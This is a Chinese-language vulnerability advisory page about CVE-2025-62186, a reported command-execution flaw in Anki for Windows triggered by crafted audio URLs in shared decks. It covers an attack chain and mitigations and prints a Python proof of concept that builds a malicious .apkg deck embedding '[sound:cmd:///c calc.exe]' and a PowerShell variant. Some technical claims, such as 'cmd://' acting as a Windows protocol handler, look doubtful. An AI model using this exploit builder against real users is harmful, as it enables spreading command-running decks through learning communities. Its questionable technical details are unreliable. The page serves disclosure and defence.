IPBUF安全漏洞报告
English
CVE-2025-62186 CVSS 6.7 中危

CVE-2025-62186:Anki Windows版音频播放URL协议处理不当导致命令执行

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-62186
漏洞类型
任意命令执行(URL Scheme处理不当)
CVSS评分
6.7 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ankitects Anki

相关标签

命令执行URL协议处理AnkiWindows本地攻击无需认证牌组安全CVE-2025-62186中危漏洞RCE

漏洞概述

CVE-2025-62186是Ankitects Anki(一个流行的跨平台间隔重复记忆软件)在25.02.5版本之前存在的一个安全漏洞。该漏洞源于Anki在Windows平台上处理音频播放时对URL协议方案(URL scheme)的处理不当。攻击者可以通过构造一个恶意的共享牌组(shared deck),当用户在Windows系统上播放该牌组中的音频时,Anki会错误地解析并执行嵌入在音频URL中的恶意协议命令,从而导致任意命令执行。

该漏洞的CVSS 3.1评分为6.7,属于中危级别。虽然攻击向量为本地(AV:L),但无需认证(PR:N)和无需用户交互(UI:N)即可触发,这使得该漏洞在实际利用中具有较高的隐蔽性和危险性。漏洞对机密性和完整性具有高影响(C:H/I:H),但对可用性无影响(A:N),意味着攻击者可以读取敏感信息和篡改数据,但不会直接导致系统崩溃或服务中断。

Anki作为一款广泛使用的学习工具,其牌组共享功能是用户间交流学习资源的重要途径。该漏洞的存在使得恶意用户可以通过共享精心构造的牌组来攻击其他用户,特别是在学习社区和教育环境中,可能导致大规模的安全风险。受影响用户应及时升级到25.02.5或更高版本以修复此漏洞。

技术细节

该漏洞的核心问题在于Anki在Windows平台上播放音频文件时,对URL协议方案的处理逻辑存在缺陷。Anki允许在卡片中引用音频文件,其音频播放机制通常通过调用系统默认的媒体播放器或内置播放器来播放音频资源。然而,在解析音频URL时,Anki未能充分验证和过滤URL中可能包含的特殊协议方案。

攻击者可以构造一个包含恶意协议方案的音频URL,例如使用Windows系统支持的协议如`cmd://`、`powershell://`、`file://`结合可执行路径等。当Anki尝试播放该音频时,会将该URL传递给系统进行解析,Windows系统会按照URL中的协议方案执行相应的操作,从而触发任意命令执行。

具体利用方式如下:
1. 攻击者创建一个Anki共享牌组(.apkg文件),在其中嵌入包含恶意URL的音频引用;
2. 恶意URL使用Windows系统支持的特殊协议方案,指向本地可执行文件或系统命令;
3. 攻击者通过Anki的共享功能将该牌组分发给目标用户;
4. 目标用户在Windows上导入并使用该牌组,当播放包含恶意音频引用的卡片时,Anki解析URL并触发命令执行;
5. 恶意命令在Anki进程的权限上下文中执行,攻击者可以读取用户数据、安装恶意软件或进行其他恶意操作。

该漏洞的修复主要在于在解析音频URL时增加对协议方案的严格白名单验证,确保只有合法的音频协议(如http://、https://、file://指向合法音频文件等)被允许执行。

攻击链分析

STEP 1
步骤1:构造恶意牌组
攻击者创建一个Anki共享牌组(.apkg文件),在卡片的音频字段中嵌入包含恶意URL协议方案的引用,例如使用cmd://或powershell://等Windows特殊协议。
STEP 2
步骤2:分发恶意牌组
攻击者通过Anki的共享功能、论坛、社交媒体或其他渠道将恶意牌组分发给目标用户,利用Anki学习社区的信任关系进行传播。
STEP 3
步骤3:用户导入牌组
目标用户在Windows系统上导入该恶意牌组,牌组被加载到Anki中,恶意音频引用被存储在本地数据库中。
STEP 4
步骤4:触发音频播放
当用户复习包含恶意音频引用的卡片时,Anki解析[sound:...]标签中的URL,并将其传递给Windows系统进行音频播放处理。
STEP 5
步骤5:命令执行
Windows系统识别URL中的恶意协议方案(如cmd://),执行其中包含的命令。恶意命令在Anki进程的权限上下文中运行,攻击者可以读取用户数据、安装后门或执行其他恶意操作。
STEP 6
步骤6:权限提升与持久化
攻击者利用已执行的命令进行进一步的攻击活动,如下载并执行更复杂的恶意软件、建立持久化机制或窃取Anki数据库中的敏感学习数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62186 PoC - Anki Malicious Deck with URL Scheme Command Execution # This PoC demonstrates how to craft a malicious Anki deck that triggers # arbitrary command execution on Windows when playing audio. import zipfile import os import json import sqlite3 import tempfile import shutil def create_malicious_apkg(output_path): """ Create a malicious .apkg file that exploits CVE-2025-62186. The audio reference uses a malicious URL scheme to execute commands on Windows. """ # Create temporary directory for deck contents tmp_dir = tempfile.mkdtemp() try: # Create collection.anki2 database (SQLite format) db_path = os.path.join(tmp_dir, "collection.anki2") conn = sqlite3.connect(db_path) cursor = conn.cursor() # Create necessary tables (simplified Anki schema) cursor.execute(""" CREATE TABLE IF NOT EXISTS col ( id INTEGER PRIMARY KEY, crt INTEGER, mod INTEGER, scm INTEGER, ver INTEGER, dty INTEGER, usn INTEGER, ls INTEGER, conf TEXT, models TEXT, decks TEXT, dconf TEXT, tags TEXT ) """) # Create notes table cursor.execute(""" CREATE TABLE IF NOT EXISTS notes ( id INTEGER PRIMARY KEY, guid TEXT, mid INTEGER, mod INTEGER, usn INTEGER, tags TEXT, flds TEXT, sfld TEXT, csum INTEGER, flags INTEGER, data TEXT ) """) # Create cards table cursor.execute(""" CREATE TABLE IF NOT EXISTS cards ( id INTEGER PRIMARY KEY, nid INTEGER, did INTEGER, ord INTEGER, mod INTEGER, usn INTEGER, type INTEGER, queue INTEGER, due INTEGER, ivl INTEGER, factor INTEGER, reps INTEGER, lapses INTEGER, left INTEGER, odue INTEGER, odid INTEGER, flags INTEGER, data TEXT ) """) # Define card model with audio field model = { "id": 1700000000000, "name": "Basic", "type": 0, "mod": 0, "usn": 0, "sortf": 0, "did": 1, "tmpls": [{ "name": "Card 1", "ord": 0, "qfmt": "{{Front}}\n{{Audio}}", "afmt": "{{FrontSide}}\n<hr id=answer>\n{{Back}}" }], "flds": [ {"name": "Front", "ord": 0, "sticky": False, "rtl": False, "media": []}, {"name": "Back", "ord": 1, "sticky": False, "rtl": False, "media": []}, {"name": "Audio", "ord": 2, "sticky": False, "rtl": False, "media": []} ], "css": ".card { font-family: arial; font-size: 20px; text-align: center; color: black; background: white; }", "latexPre": "", "latexPost": "", "latexsvg": False, "req": [[0, "any", [0]], [1, "any", [0]]] } # Define deck deck = { "1": { "id": 1, "name": "Malicious Deck::CVE-2025-62186", "mod": 0, "usn": 0, "lrnToday": [0, 0], "revToday": [0, 0], "newToday": [0, 0], "timeToday": [0, 0], "collapsed": True, "browserCollapsed": True, "desc": "", "dyn": 0, "conf": 1, "extendNew": 0, "extendRev": 0 } } # Insert collection metadata cursor.execute(""" INSERT INTO col (id, crt, mod, scm, ver, dty, usn, ls, conf, models, decks, dconf, tags) VALUES (1, 0, 0, 0, 11, 0, 0, 0, '{}', ?, ?, '{}', '{}') """, (json.dumps([model]), json.dumps(deck))) # Insert malicious note with crafted audio URL # The key exploit: audio field contains a URL with malicious scheme # On Windows, cmd:// protocol can trigger command execution malicious_audio_url = '[sound:cmd:///c calc.exe]' cursor.execute(""" INSERT INTO notes (id, guid, mid, mod, usn, tags, flds, sfld, csum, flags, data) VALUES (1, 'malicious_guid_001', 1700000000000, 0, 0, '', 'What is CVE-2025-62186?<\/div>A URL scheme vulnerability in Anki.<\/div>' || ? || '', 'What is CVE-2025-62186?', 0, 0, '') """, (malicious_audio_url,)) # Insert corresponding card cursor.execute(""" INSERT INTO cards (id, nid, did, ord, mod, usn, type, queue, due, ivl, factor, reps, lapses, left, odue, odid, flags, data) VALUES (1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '') """) conn.commit() conn.close() # Create media mapping file (empty - no actual media files needed) media_mapping = json.dumps({}) # Package as .apkg (which is a ZIP file) with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as apkg: apkg.write(db_path, "collection.anki2") apkg.writestr("media", media_mapping) print(f"[+] Malicious deck created: {output_path}") print(f"[!] When imported into Anki < 25.02.5 on Windows and the card is reviewed,") print(f"[!] the malicious audio URL will trigger command execution.") finally: shutil.rmtree(tmp_dir, ignore_errors=True) def create_malicious_deck_json(): """ Alternative approach: Generate the malicious content as JSON for manual deck creation. This shows the structure of the exploit payload. """ exploit_payload = { "deck_name": "Exploit Deck - CVE-2025-62186", "notes": [ { "fields": { "Front": "Click to hear the pronunciation", "Back": "This card exploits URL scheme handling", "Audio": "[sound:cmd:///c powershell.exe -Command Start-Process calc.exe]" } } ], "explanation": ( "The [sound:...] tag tells Anki to play audio from the given URL. " "By using cmd:// scheme, Windows will execute the command instead of " "treating it as a file path. When the user reviews this card, Anki " "passes the URL to the OS, which interprets cmd:// as a command to execute." ) } return json.dumps(exploit_payload, indent=2) if __name__ == "__main__": # Generate the malicious .apkg file output = "cve_2025_62186_exploit.apkg" create_malicious_apkg(output) # Also print the JSON payload structure print("\n--- Exploit Payload Structure ---") print(create_malicious_deck_json())

影响范围

Ankitects Anki < 25.02.5

防御指南

临时缓解措施
在无法立即升级到25.02.5版本之前,建议用户仅从可信来源(如Anki官方共享平台、知名教育机构)导入共享牌组,避免打开来源不明的.apkg文件。同时,可以在Windows系统层面禁用或限制危险的URL协议方案(如cmd://、powershell://等),通过组策略或注册表修改来减少攻击面。在导入新的共享牌组后,建议先在隔离环境中检查牌组的音频引用内容,确认无异常后再在主环境中使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表